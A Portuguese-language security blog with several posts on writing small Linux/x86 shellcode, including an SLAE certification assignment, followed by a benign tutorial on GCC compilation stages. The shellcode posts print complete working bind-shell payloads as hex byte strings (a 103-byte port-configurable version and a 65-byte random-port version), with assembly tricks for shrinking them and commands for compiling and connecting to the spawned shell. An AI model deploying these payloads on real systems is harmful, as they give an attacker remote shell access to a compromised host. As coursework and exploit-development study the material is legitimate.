Tradutor

Mostrando postagens com marcador c. Mostrar todas as postagens
Mostrando postagens com marcador c. Mostrar todas as postagens

segunda-feira, 25 de março de 2013

O menor do mundo? Yeah? So Beat the Bits!

/*
Off-Topic: Está disponível no Shell-Storm versão do Shell Bind TCP usando o método GetPC (GetEIP). Os demais shellcodes apresentados neste post também já foram disponibilizados no mesmo repositório. Tks again, Salwan.
*/

Enquanto que em muita área por aí o que importa é ter ou fazer algo grande, quando falamos em shellcodes sempre os queremos minúsculos, correto? E mesmo que isso não seja tão importante para as  mais recentes técnicas de exploração, você não gostaria que o seu fosse menor? =D

Bom, como sou teimoso, aproveitei o tempo de viagem de onde estou trabalhando até minha casa (10h de ônibus) para brincar um pouco com as versões anteriores que disponibilizei e consequentemente aprender mais. Meu notebook, graças ao Jupiter, aguentou 7h de pdfs, chrome (em offline), editores, compilação e muito debugging.

O que fazer para se diminuir o tamanho de um shellcode?

Com a questão em mente, condensei nas regras abaixo o que aprendi.


Regra n. 01 - Certificar-se da "pureza" dos registers antes de serem preenchidos com valores menores que o da arquitetura

Num ambiente de desenvolvimento e exploração, ao se testar um shellcode projetado, os registers se apresentam sem lixo, o que pode mascarar o seu real funcionamento.

Temos que ter em mente que um shellcode é um pedaço de código injetado em um programa já em execução com suas STACK e registers já em utilização. Se começarmos a simplesmente utilizar esses registers ou a STACK sem as devidas providências o shellcode não vai servir ao seu propósito.

Na arquitetura 32 bits, se eu movimentar (não gosto de usar o termo movimentar; mesmo a instrução se chamando MOV o que ela faz, em verdade, é copiar) um valor para um register [mov eax, 10], a instrução preenche totalmente o EAX com o valor imediato.

Se antes da cópia EAX tiver 0xffffffff, após ele ficará com 0x0000000a:

b8 0a 00 00 00       mov    eax,0xa

Até então sem problemas, certo? Não, para um shellcode! O opcode B8 que movimenta o valor imediato 0xa (10) preenche todos os 32 bits de EAX, e você deve se recordar que não podemos ter null bytes para que o payload seja funcional.

Contornando a situação com [mov al, 10]:

b0 0a                 mov    al,0xa

Like a charm? Copiamos agora apenas o byte necessário 0xa para o register AL de 8 bits.


Contudo, se EAX já estiver, hipoteticamente, com 0xffffffff, ao copiarmos apenas para AL, o valor final será 0xffffff0a (-246). Qualquer syscall ao usar EAX retornará erro.


Dando a volta por cima

Eu estava usando um truque com a instrução CDQ - convert double to quad - para zerar EDX, após preparar EAX com algum valor inicial, ex: PUSH 10 (6A, 0A), POP EAX (58). A CDQ é de apenas um opcode (99), por isso me encantou. Em suma, com ela eu podia despoluir EDX e já deixar EAX preparada com apenas 3 bytes.

Sendo que o zero é essencial para o preenchimento dos argumentos das syscalls mas não pode estar presente no shellcode, essa técnica permite termos o zero em EDX para utilização posterior.

E eu não poderia fazer isso usando XOR? Sim, mas a custo de mais um byte. 

31 d2                 xor    edx,edx
...
99                   cdq

E para limpar os demais registers necessários no início do shellcode sempre serão utilizados dois opcodes, seja com a técnica do XOR,  com a do PUSH reg, POP reg ou com a do MOV reg, reg.

31 d2                 xor    edx,edx
...
52                   push   edx (que já será zero após o cdq)
5b                   pop    ebx
...
89 dd                 mov    ebp,ebx

De tanto garimpar, descobri um truque com o uso da instrução MUL - unsigned multiply - que permite despoluir três registers de uma só vez (EAX, EBX [poderia ser outro: ECX, ESI, ...] e EDX).

31 db                 xor    ebx,ebx
f7 e3                 mul    ebx

Ele gera um byte a mais, entretanto um a menos se usarmos um XOR, para zerar EBX logo após o uso do CDQ.

Temos também o mágico XCHG que permuta os valores de dois registers a custo de apenas um byte se um dos envolvidos na troca for o EAX; qualquer outro tipo de permuta terá dois opcodes.

95                   xchg   ebp,eax
96                   xchg   esi,eax
87 d9                 xchg   ecx,ebx

De toda sorte, essas formas (CDQ, MUL, MOV, XOR e XCHG) são boas e devem, se possível, ser utilizadas em conjunto. O sucesso na redução do tamanho irá depender de quais registers serão necessários às syscalls do shellcode e de que valores já estarão contidos neles, dando vantagem a uma forma em detrimento às demais.


Regra n. 02 - Reutilizar dados já inseridos na STACK

Eu estava simplesmente fazendo PUSH de todos os argumentos necessários a cada syscall, desprezando o que eu já havia inserido na STACK. Obviamente os primeiros valores a serem utilizados precisam ser inseridos por nós mesmos, pois não sabemos o que há na pilha (o contrário pode ser dito se se tratar de uma aplicação em específico, cujo exploit fora desenvolvido por nós mesmos).

Socket

52                   push   edx
53                   push   ebx
6a 02                 push   0x2
89 e1                 mov    ecx,esp

Bind

b3 02                 mov    bl,0x2
52                   push   edx
66 68 2b 67           pushw  0x672b
66 6a 02             pushw  0x2
89 e1                 mov    ecx,esp

No exemplo acima, sem reutilizar os dados da STACK, ao criar a estrutura sockaddr_in para fazer o Bind, são gerados 12 bytes. Todavia, vejam a diferença fazendo uso dos dados já existentes.

5b                   pop    ebx
5e                   pop    esi
52                   push   edx
66 68 2b 67           pushw  0x672b

Fantasticamente geramos apenas 7 bytes (cinco a menos). É importante ressaltar que a instrução POP apenas copia o valor da pilha para algum destino, modificando o ponteiro (ESP) do topo da pilha e deixando o valor intacto na memória, contrariamente à PUSH que o substitui. Atente para o fato de que ECX já contém o ponteiro para os dados que estamos utilizando, portanto, não o alteramos.

Se algum dado distante na STACK precisar ser modificado para reutilização correta dos demais, tiramos proveito fazendo a modificação com a MOV e um ponteiro, gerando apenas 3 bytes.

89 51 04             mov    DWORD PTR [ecx+0x4],edx

Mais uma vez, devemos ponderar qual método é mais eficaz em cada caso.


Regra n. 03 - Usar instruções com menor número de opcodes

Mesmo esta regra sendo óbvia e estar implícita nas anteriores, faço questão de exemplificar com algumas instruções, para que haja melhor entendimento.

43                   inc    ebx

b3 02                 mov    bl,0x2

No caso acima, se EBX já contivesse 1, mais inteligente seria apenas a incrementarmos com INC, em vez de a atribuirmos 2 com MOV. Abaixo, segue exemplo de redução usando a LEA - load effective address - para uso aritmético com vários operandos em vez da ADD (tks Pedro Fausto).

01 d8                 add    eax,ebx
83 c0 02             add    eax,0x2

8d 44 18 02           lea    eax,[eax+ebx*1+0x2]



Regra n. 04 - GetPC (GetEIP) - Adendo

Esqueci-me de mencionar, na postagem original, a técnica GetPC que utilizei como demonstração no shellcode Shell Bind TCP - GetPC (github: assemblyfluxograma).

Se o shellcode tiver um tamanho considerável e houver uma certa quantidade de instruções que se repetem, esse método é válido para se diminuir o payload usando as CALL e RET.

Analisem os códigos! Vale à pena.


Os menores do mundo? Não sei, diga-me!

O resultado de tanto mexido foi o engendramento dos três, aparentemente, menores shellcodes do mundo nas suas respectivas especificidades.

Shellcode Improvements (github com os concernentes fluxogramas e shellcode launchers)



Eu desafio vocês!

Pensando nisso estou lançando um concurso para redução dos shellcodes apresentados. Para concorrer basta criar um shellcode dos tipos acima com menor tamanho em bytes e enviar para geyslan@gmail.com. Para redução podem ser utilizados, se preferirem, os que disponibilizei.


Premiação

Aprendizado! E menos bytes! ;D

Vemo-nos em breve!


Mais Informações

Shell-Storm
Intel 64 and IA-32 Manuals

segunda-feira, 18 de março de 2013

Hacking do Dia - Shell Bind TCP Random Port

/*
   Para melhor entendimento, leiam o post anterior SLAE - 1st Assignment - Shell Bind TCP
*/

<UPDATE>
   O shellcode final deste post foi aceito no repositório Shell-Storm.
   Tks Jonathan Salwan.
</UPDATE>

<UPDATE 2>
   Foram incluídas no Metasploit as versões x86 e x86_64 deste payload.
   Tks Ewerson Guimarães (Crash), Tod Beardsley and all involved in Metasploit project.
   x86 payload
   x86_64 payload
</UPDATE 2>

Olá pessoal!

Comentários são sempre fantásticos. Sabem por quê? 

Porque através da troca de conhecimento ideias surgem. E, havendo vontade, essas ideias podem se transformar em algo útil.

Esta tarde, Tiago Natel (SecPlus) me respondeu, com veemência e propriedade, sobre o post SLAE - 1st Assignment na lista do Brasil Underground. A informação que ele passou sobre shellcodes e o uso do SO_REUSEADDR foram engrandecedoras para mim e os demais da lista.

Por e-mail, marcamos de debatermos o assunto, o que aconteceu no finalzinho da tarde.

Fizemos, em conjunto, uns debbugs e traces dos shellcodes do metasploit e do que disponibilizei via github. Constatamos que realmente o do metasploit gera SIGSEGV quando a porta ainda está em TIME_WAIT, uma vez que ao tentar fazer o bind, e não conseguir, o registrador $eax recebe número negativo (erro) e fica poluído. Mesmo as novas cópias para esse registrador não resolvem, já que, para se evitar null-bytes, os shellcodes têm mov's usando o registrador $al, que copiam apenas 1 byte, deixando o resto de $eax como está. Bom, dá para imaginar que o shellcode não vai funcionar muito bem. :D

Identificamos, porém, que quando o meu shell_bind_tcp, sem opção SO_REUSEADDR, era instanciado pela segunda vez, ou seja, com a porta da instância anterior ainda em TIME_WAIT, o socket, ao ser criado, usava uma porta aleatória. De início, achamos isso meio louco! Chegamos a pensar que a listen cuidava disso. Eu pensei que era alguma coisa da libc, mas reproduzi o mesmo efeito com o código asm (apenas com syscalls).

Nesse ínterim, Tiago, por ter bastante experiência, fez uma pesquisa rápida no google e  encontrou informações a respeito do uso do bind no manual POSIX da Fujitsu Siemens Computer (SOCKETS/XTI(POSIX)).

Vejam o achado dele (pg. 23):

"2.6.6 Automatic address assignment by the system

You can still call a function for a socket which actually requires a bound socket (e.g. connect(), sendto(), etc.), even if the socket has no address assigned to it. In this case, the system executes an implicit bind() call with wildcards for the Internet address and port number, i.e. the socket is bound with INADDR_ANY to all IPv4 addresses and with IN6ADDR_ANY to all IPv6 addresses and IPv4 addresses of the host and receives a free port number from the range of non-privileged port numbers."

O que isso quer dizer?

Se não tivermos feito bind no socket, ou se o bind não acontecer por não haver endereço e/ou porta disponíveis, como identificamos no meu shell_bind_tcp sem SO_REUSEADDR, ao se utilizar syscalls como connect, sendto, no nosso caso a listen, o sistema se encarrega de fazer um bind genérico com o atributo INADDR_ANY e de disponibilizar uma porta dentre os números não privilegiados.

De certa forma estávamos corretos, pois pensávamos que era a listen que estava a fazer o bind automático; em verdade, foi através dela que o sistema se encarregou de amarrar o socket a um endereço disponível.

Sim, e daí?

Os shellcodes não imploram para serem pequenos e se adequarem aos buffers explorados?

Quase que instantaneamente tivemos a ideia de retirar o setsockopt (usado no meu shellcode) e o próprio bind (usado em todos).

Vocês não imaginam o tamanho do novo shell_bind_tcp_random_port...

Míseros 65 bytes

# echo -e "\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x5f\xb0\x66\xb3\x04\x52\x56\x89\xe1\xcd\x80\xb0\x66\x43\x89\x54\x24\x08\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\xeb\xca" | /opt/libemu/bin/sctest -vvv -Ss 100000 -G shell_bind_tcp_random_port.dot


Ah, mas isso não serve! Do que adianta se eu não posso setar a porta?

nmap nele!

# nmap -sS host -p-

Só tenho algo mais a dizer: COMPARTILHEM!!

P.S.

Valeu, Tiago!


Mais Informações

sábado, 16 de março de 2013

SLAE - 1st Assignment - Shell Bind TCP

Verdade, verdade! Esta ainda não é a continuação de (Des)construindo Software. Peço-lhes desculpas, mas no momento oportuno ela virá... Este post é o 1st assignment do curso SecurityTube Linux Assembly Expert, necessário para obtenção da certificação SLAE.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-237


<UPDATE>
   O shellcode final foi aceito no repositório Shell-Storm.
   Tks Jonathan Salwan.
</UPDATE>



Assembly (Mighty and Tiny)

Decidi fazer algo que já deveria ter feito há muito tempo: aprender “a linguagem” assembly. E é que o curso do Vivek Ramachandran surgiu em boa hora. Com uma didática simples e objetiva o SLAE realmente me surpreendeu. Obrigado Vivek.

Nas instruções do exame, Vivek especifica que esta primeira missão é:
Criar um shellcode de um Shell Bind via TCP (Linux/x86)
- Executar um shell ao receber a conexão
- Tornar fácil a configuração da porta no shellcode
- Para isso, analisar o linux/x86/shell_bind_tcp do Metasploit usando o libemu
 
Achei interessante, uma vez que no curso, apesar de passar muita informação, não é apresentada a construção de um shell_bind_tcp. E esse método de examinação é muito bom, pois força o aprendizado.


Desovando um Shell via TCP

Libemu é uma pequena biblioteca de detecção de shellcodes que usa heurística GetPC (Get Program Counter ou GetEIP). Bom, usei-o como indicado para analisar o payload do Metasploit:

# msfpayload linux/x86/shell_bind_tcp R | /opt/libemu/bin/sctest -vvv -S -s 100000

O libemu retorna, além da análise passo-a-passo das instruções do shellcode, uma meta linguagem esboçada em C:
 



int dup2(int oldfd=19, int newfd=0);

[emu 0x0x199d0e0 debug ] cpu state eip=0x00417037
[emu 0x0x199d0e0 debug ] eax=0x00000000 ecx=0x00000000 edx=0x00000000 ebx=0x00000013

[emu 0x0x199d0e0 debug ] esp=0x00416fba ebp=0x00000000 esi=0x00000001 edi=0x00000000
[emu 0x0x199d0e0 debug ] Flags: PF ZF
[emu 0x0x199d0e0 debug ] 49 dec ecx




int dup2 (
int oldfd = 19;
int newfd = 0;
) = 0;


Fica bem fácil de entender as instruções, mesmo assim, optei pelo visual:

# msfpayload linux/x86/shell_bind_tcp R | /opt/libemu/bin/sctest -vvv -S -s 100000 -G shell_bind_tcp.dot
 

É gerado um arquivo dot que pode ser facilmente convertido em png:

# dot shell_bind_tcp.dot -T png -o shell_bind_tcp.png
 


Bem mais intuitivo, certo? O fluxograma clarifica a sequência de instruções. Mesmo assim, decidi seguir outro rumo na construção do shellcode: fiz o mesmo programa em C.


 

Eu poderia, neste ponto, analisá-lo usando o “objdump” ou mesmo o “ndisasm”. Mas ao tentar fazer isso mudei de ideia. Vejam o porquê:

# objdump -d -M intel shell_bind_tcp_c



080485bc <main>:
80485bc: 55                     push ebp
80485bd: 89 e5                  mov ebp,esp
80485bf: 83 e4 f0               and esp,0xfffffff0
80485c2: 83 ec 50               sub esp,0x50
80485c5: 65 a1 14 00 00 00      mov eax,gs:0x14
80485cb: 89 44 24 4c            mov DWORD PTR [esp+0x4c],eax
80485cf: 31 c0                  xor eax,eax
80485d1: c7 44 24 30 67 2b 00   mov DWORD PTR [esp+0x30],0x2b67
80485d8: 00
80485d9: c7 44 24 08 00 00 00   mov DWORD PTR [esp+0x8],0x0
80485e0: 00
80485e1: c7 44 24 04 01 00 00   mov DWORD PTR [esp+0x4],0x1
80485e8: 00
80485e9: c7 04 24 02 00 00 00   mov DWORD PTR [esp],0x2
80485f0: e8 cb fe ff ff         call 80484c0 <socket@plt>
 




O gcc ao compilar, constrói o binário usando instruções de cópia em endereços do stack (mov DWORD PTR [esp+0x4], 0x1), o que dificulta um pouco o processo. Contudo, já deu para se abstrair, pelo empilhamento, os argumentos das funções chamadas. No caso acima, a função socket recebe os valores 2, 1, 0, empilhados na ordem inversa.


Enfim, encarei o desafio de programar o shell_bind_tcp em nasm assembly:


 

Foi árduo, embora tenha sido muito importante para um entendimento mais aprofundado da linguagem assembly e também dos internals do Linux. Não vou me prender explicando o que cada instrução faz, o intuito deste post não é esse; de toda sorte, comentei todos os códigos (github) para que fossem auto-explicativos. E antecipo que qualquer comentário será bem vindo, seja dúvida ou crítica.

Os códigosfuncionaram perfeitamente; montei o shell_bind_tcp com todas as syscalls fundamentadas no código C, no fluxograma do libemu, nos resultados do google (óbvio) e no velho e sempre amigo man.


Evitando-se SIGSEGV (Yep, Metasploit has it)

Os mais atentos já devem ter percebido que há, tanto no código C, quanto no assembly uma função/syscall que não é utilizada no shellcode do Metasploit. A setsockopt. 

setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));

mov eax, 102            ; syscall 102 – socketcall
mov ebx, 14             ; socketcall type (sys_setsockopt 14)


Ao fazer testes com o shellcode do Metasploit, quando o cliente desconectava da porta e o shell_bind_tcp era rodado novamente ele resultava em SIGSEGV. Vou ser-lhes sincero, após muitos debugging via gdb e consultas no google identifiquei a origem do problema. A falha na segmentação só era produzida quando o shell_bind_tcp tentava ligar o endereço via bind a um socket que já existia no sistema. Mas como? Simples: esse shellcode em específico não tem como fechar o socket quando o cliente desconecta. Quem o fecha é o kernel após um intervalo TIME_WAIT. Ou seja, eu tinha sempre que esperar o kernel fechar o socket criado pela instância anterior (1 a 2 min), para poder rodar novamente o shellcode com sucesso. E no meu humilde pensar, um shellcode é como “um programa”; não deve gerar SIGSEGV (o meu pode até gerar, mas me avisem, se isso acontecer :D).

O objetivo da setsockopt é atribuir ao socket a opção SO_REUSEADDR. Assim, aquele mesmo socket da instância anterior, ainda não fechado pelo kernel, é reutilizado na nova instância. E sem falhas.

Essa minha implementação me deixou muito contente, uma vez que após estudar alguns shellcodes em sites como shell-storm, exploit-db e projectshellcode, não encontrei nada relacionado (alguém conhece algum shellcode nesses sites ou em outro que também use a setsockopt?). E entendo que há quase uma disputa para se construírem shellcodes com o menor número de bytes possível, no entanto, não devemos esquecer da integridade do fluxo do programa.



Enxugando o Shellcode (smallest as possible)

Extraindo os opcodes do meu shell_bind_tcp (asm):

# objdump -d ./shell_bind_tcp|grep '[0-9a-f]:'|grep -v 'arquivo' | cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' | grep x00

 
"\xb8\x66\x00\x00\x00\xbb\x01\x00\x00\x00\x6a\x00\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc2\xb8\x66\x00\x00\x00\xbb\x0e\x00\x00\x00\x6a\x04\x54\x6a\x02\x6a\x01\x52\x89\xe1\xcd\x80\xb8\x66\x00\x00\x00\xbb\x02\x00\x00\x00\x6a\x00\x66\x68\x2b\x67\x66\x6a\x02\x89\xe1\x6a\x10\x51\x52\x89\xe1\xcd\x80\xb8\x66\x00\x00\x00\xbb\x04\x00\x00\x00\x6a\x00\x52\x89\xe1\xcd\x80\xb8\x66\x00\x00\x00\xbb\x05\x00\x00\x00\x6a\x00\x6a\x00\x52\x89\xe1\xcd\x80\x89\xc2\xb8\x3f\x00\x00\x00\x89\xd3\xb9\x00\x00\x00\x00\xcd\x80\xb8\x3f\x00\x00\x00\xb9\x01\x00\x00\x00\xcd\x80\xb8\x3f\x00\x00\x00\xb9\x02\x00\x00\x00\xcd\x80\xb8\x0b\x00\x00\x00\x6a\x00\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb9\x00\x00\x00\x00\xba\x00\x00\x00\x00\xcd\x80"


# echo -n "\xb8\x66...\xcd\x80" | wc -m
720


720 / 4 = 180 bytes

Além de conter null-bytes (o que não pode), o shellcode gerado ficou com 180 bytes. Precisei retirar os null-bytes e analisar a possibilidade de uso de instruções cujos opcodes (hexa) fossem menores. Após estudar um pouco mais sobre os registradores e instruções, remontei-o.




E sobre a configuração da porta? Pensei, pensei e pensei... Qual seria a melhor forma de configurá-la sem aumentar muito o tamanho do shellcode? Como vocês vêem no código assembly acima, usei logo no início, um "mov bp, 0x672b" (para colocar o valor da porta no registrador de 16 bits bp). Durante o percurso do shellcode, o bp é utilizado apenas mais uma vez na construção da estrutura sockaddr_in (argumento da syscall socketcall - opção bind) ao ter os dois bytes inseridos na pilha com a instrução "push bp". Mesmo com o acréscimo de 2 bytes no shellcode, valeu a pena.

A versão final ficou com 103 bytes, um tamanho aceitável para os atributos adicionados: porta +2 bytes e O_REUSEADDR +15 bytes.

"\x66\xbd"
"\x2b\x67" /* <- Port number 11111 (2 bytes) */
"\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02\x89"
"\xe1\xcd\x80\x89\xc6\x5f\xb0\x66\x6a\x04\x54\x57"
"\x53\x56\x89\xe1\xb3\x0e\xcd\x80\xb0\x66\x89\xfb"
"\x52\x66\x55\x66\x53\x89\xe1\x6a\x10\x51\x56\x89"
"\xe1\xcd\x80\xb0\x66\xb3\x04\x52\x56\x89\xe1\xcd"
"\x80\xb0\x66\x43\x89\x54\x24\x08\xcd\x80\x93\x89"
"\xf9\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52"
"\x53\xeb\xa8";
 

Em resumo, os terceiro e quarto bytes referem-se à porta. Atentem que para modificá-la no shellcode, o respectivo número deve ser convertido em hexadecimal. Exemplo:

# printf "%x\n" 40001

9c41

# printf "%d\n" 0x9c41
40001 

40001 -> 9c41 -> /x9c/x41

TESTANDO

 

# .gcc -m32 -fno-stack-protector -z execstack shellcode.c -o shellcode
# ./shellcode

Em outro terminal (cliente):
 
# nc 127.0.0.1 11111
pwd
/home/uzumaki 
netstat -lp | grep /sh      
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
tcp     0   0 *:11111              *:*                 LISTEN   5946/sh

 

Um Novo Shell (the chosen one)

Nessa missão, foi construído um shellcode Shell Bind TCP (Linux/x86) com porta reutilizável (setsockopt SO_REUSEADDR) e facilmente configurável (terceiro e quarto byte). Espero que tenham gostado. Comentem! Façam a roda girar! 

P.S.
Se você encontrar alguma forma de reduzir a quantidade de bytes do shellcode apresentado, entre em contato para discutirmos. Assim, farei as devidas alterações colocando os créditos.

[]




Mais Informações 

SLAE - SecurityTube Linux Assembly Expert
SecurityTube
libemu
Metasploit 
Metasploit Unleashed - Offensive Security
Berkeley Sockets 
Shell-Storm
exploit-db
Project Shellcode
Endianness
Linux Assembly
Introdução à Arquitetura de Computadores - bugseq team - Tiago Natel
Understanding Intel Instruction Sizes - William Swanson
The Art of Picking Intel Registers - William Swanson
Smashing The Stack For Fun And Profit - Aleph One 
Get all shellcode on binary  - commandlinefu

quarta-feira, 23 de janeiro de 2013

(Des)construindo Software

“A Engenharia Reversa é o processo de extrair conhecimento ou design de algo feito pelo homem (…) O Software é uma das mais complexas e intrigantes tecnologias dentre nós nos dias de hoje. Sua engenharia reversa se trata de abrir o programa e olhá-lo por dentro. Claro, nós não precisamos de nenhuma chave de fenda nesta jornada. Da mesma forma que a engenharia de software, seu reverso é puramente um processo virtual envolvendo apenas um processador e a mente humana.” Reversing – Secrets of Reverse Engineering – Eldad Eilam

Antes de nos debruçarmos na reversão em si, é importante sabermos como se dá o processo de engendramento do software binário.

Para a sua construção, faz-se necessária (a não ser que vocês sejam masoquistas e queiram construir em código de máquina) uma linguagem de programação. Essa se traduz como um método padronizado para informar instruções a um processador. Cada linguagem detém sua própria padronização assim como seu nível de abstração (baixo, médio e alto).

Na sequência, são destacados os procedimentos demandados para a transformação do código escrito em um bloco de instruções “entendível” aos olhos do computador.


Construção de Software

A construção ou compilação é um processo de vários estágios que envolve várias ferramentas. No nosso caso, as ferramentas usadas serão o front-end gcc (GNU Compiler), o cc1 (C Compiler), o as (GNU Assembler), o collect2 (ld wrapper), e o ld (GNU Linker). O conjunto completo de ferramentas utilizadas no processo de compilação é chamado toolchain, que, quase que por padrão, já vem instalado nas distribuições GNU/Linux. A criação de toolchains específicas são primordiais para o cross-compiling, mas esse assunto fica para um post futuro.

Durante uma invocação do GCC a sequência de comandos executadas percorre os seguintes estágios:

- pré-processamento (expansão de macros)
- compilação (do código fonte para linguagem assembly)
- assembler (de linguagem assembly para código de máquina)
- linking (criação do binário final)


Criemos como exemplo um programa minimalista em C com o famoso Hello World.

# mkdir construindo; cd construindo
# echo -e "#include <stdio.h>\nint main() { printf(\"Hello World\\\n\"); return 0;}" > programa1.c

Para esta compilação, usemos o gcc.

# gcc programa1.c -o programa1

Ao rodar o gcc, as etapas de pré-processamento, compilação, assembly e linking são efetuadas uma após a outra de forma transparente, até que o binário ELF 'programa1' seja criado.

# ./programa1
Hello World

Em seguida, para melhor entendimento, percorreremos cada fase manualmente.


Pré-processamento e Compilação

Pré-processamento

Em versões passadas do gcc, o pré-processamento era feito como um estágio em separado através do cpp (C Preprocessor):

# cpp programa1.c -o programa1.i

A saída era um arquivo com as macros expandidas e declarações de arquivos header incluídas. O pré-processador, em verdade, traduzia a abstração média da linguagem C (na qual programamos) para uma reconhecível à próxima etapa da compilação.

# 1 "programa1.c"
# 1 "<command-line>"
# 1 "programa1.c"
# 1 "/usr/include/stdio.h" 1 3 4
# 28 "/usr/include/stdio.h" 3 4
# 1 "/usr/include/features.h" 1 3 4
...
extern void funlockfile (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__$
# 940 "/usr/include/stdio.h" 3 4
# 2 "programa1.c" 2
int main(void) { printf("Hello World\n"); return 0;}

Esse primeiro estágio, atualmente, é incorporado pelo compilador cc1 quando usado com opções default; ou seja, geralmente é omitido.

# gcc programa1.c -o programa1 -v
...
 /usr/lib/gcc/x86_64-linux-gnu/4.7/cc1 -quiet -v -imultiarch x86_64-linux-gnu programa1.c -quiet -dumpbase programa1.c -mtune=generic -march=x86-64 -auxbase programa1 -version -fstack-protector -o /tmp/ccZvPRPS.s
...

Como pode ser visto no modo verboso (detalhado), o cc1 efetua o pré-processamento e compilação, gerando diretamente o arquivo assembly. De toda forma podemos fazer com que o cc1 seja invocado duas vezes, com o uso da opção -no-integrated-cpp; primeiramente para o pré-processamento, gerando o arquivo expandido (*.i) e posteriormente para a compilação, gerando o arquivo para montagem (*.s). Tal procedimento é útil quando se pretende utilizar um pré-processador alternativo, por exemplo.

# gcc programa1.c -o programa1 -v -no-integrated-cpp
...
 /usr/lib/gcc/x86_64-linux-gnu/4.7/cc1 -E -quiet -v -imultiarch x86_64-linux-gnu programa1.c -mtune=generic -march=x86-64 -fstack-protector -o /tmp/ccjNwBsL.i
...
 /usr/lib/gcc/x86_64-linux-gnu/4.7/cc1 -fpreprocessed /tmp/ccjNwBsL.i -quiet -dumpbase programa1.c -mtune=generic -march=x86-64 -auxbase programa1 -version -fstack-protector -o /tmp/cc0B4fmf.s
...

Podemos, também, interromper o processo do gcc, invocando o cc1 apenas uma vez com o intuito de gerarmos o arquivo (*.i) pré-processado.

# gcc programa1.c -o programa1.i  -v -E
...
 /usr/lib/gcc/x86_64-linux-gnu/4.7/cc1 -E -quiet -v -imultiarch x86_64-linux-gnu programa1.c -o programa1.i -mtune=generic -march=x86-64 -fstack-protector
...

Para isso utilizamos a opção '-E'.


Compilação

O objetivo principal do uso do cc1, através ou não do arquivo expandido (programa1.i), é gerar o respectivo código assembly, linguagem de baixo nível.

# gcc programa1.i -o programa1.s -v -S
...
 /usr/lib/gcc/x86_64-linux-gnu/4.7/cc1 -fpreprocessed programa1.i -quiet -dumpbase programa1.i -mtune=generic -march=x86-64 -auxbase-strip programa1.s -version -o programa1.s -fstack-protector
...

# gcc programa1.c -o programa1.s -v -S
...
 /usr/lib/gcc/x86_64-linux-gnu/4.7/cc1 -quiet -v -imultiarch x86_64-linux-gnu programa1.c -quiet -dumpbase programa1.c -mtune=generic -march=x86-64 -auxbase-strip programa1.s -version -o programa1.s -fstack-protector
...

A opção '-S', instrui o gcc a apenas converter o código C, pré-processado ou não, para a linguagem de montagem (programa1.s).

.file "programa1.c"
.section .rodata
.LC0:
.string "Hello World"
.text
.globl main
.type main, @function
main:
.LFB0:
.cfi_startproc
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
movq %rsp, %rbp
.cfi_def_cfa_register 6
movl $.LC0, %edi
call puts
movl $0, %eax
popq %rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size main, .-main
.ident "GCC: (Ubuntu/Linaro 4.7.2-2ubuntu1) 4.7.2"
.section .note.GNU-stack,"",@progbits

Atenção! O código assembly pode estar diferente do gerado em seu computador. Essa divergência pode ter sido ocasionada por vários motivos: versão do GCC; arquitetura utilizada; flags de compilação.

Para gerar o respectivo código em 32 bits, basta utilizar a opção -m32.

# gcc programa1.i -S -m32

ou

# gcc programa1.c -S -m32

Vejam a diferença:

.LFB0:
.cfi_startproc
pushl %ebp
.cfi_def_cfa_offset 8
.cfi_offset 5, -8
movl %esp, %ebp
.cfi_def_cfa_register 5
andl $-16, %esp
subl $16, %esp
movl $.LC0, (%esp)call puts
movl $0, %eax
leave
.cfi_restore 5
cfi_def_cfa 4, 4ret
.cfi_endproc


Assembler (Montador)

Na montagem, o código assembly é convertido nas suas instruções correlatas em código de máquina. O resultado é um arquivo-objeto (object file).

# gcc programa1.s -o programa1.o -v -c
...
 as -v --64 -o programa1.o programa1.s
...

# gcc programa1.s -o programa1.o -v -m32 -c
...
 as -v --32 -o programa1.o programa1.s
...

A opção '-c' faz com o gcc apenas compile ou monte o arquivo fonte, mas não o linque.

Como visto acima, o as faz a montagem do binário usando o arquivo assembly (programa1.s). Ao rodarmos o file contra o arquivo-objeto construído, podemos verificar a estrutura ELF.

# file programa1.o
programa1.o: ELF 32-bit LSB relocatable, Intel 80386, version 1 (SYSV), not stripped

programa1.o: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), not stripped

Entretanto, como o processo de compilação ainda não foi finalizado, ao tentarmos executá-lo recebemos a mensagem de que é impossível executar o arquivo binário. Ao usarmos o ltrace (ferramenta de análise de chamadas à bibliotecas) recebemos a mensagem "./programa1.o is not an ELF executable nor shared library.". O assembler construiu o bloco de instruções binárias para a arquitetura, contudo não definiu os endereços referentes às funções externas, assim como não relocou o binário para a correta execução.


Linking

Até então o arquivo-objeto montado não sabe para onde olhar (endereço das funções necessárias ao correto funcionamento). O Linking ou lincagem é, neste caso, o procedimento de aglutinação de arquivos-objeto, resolução de símbolos e relocação das seções e respectivos endereços do binário outrora gerado.

Vejamos.

# gcc programa1.o -o programa1 -v
...
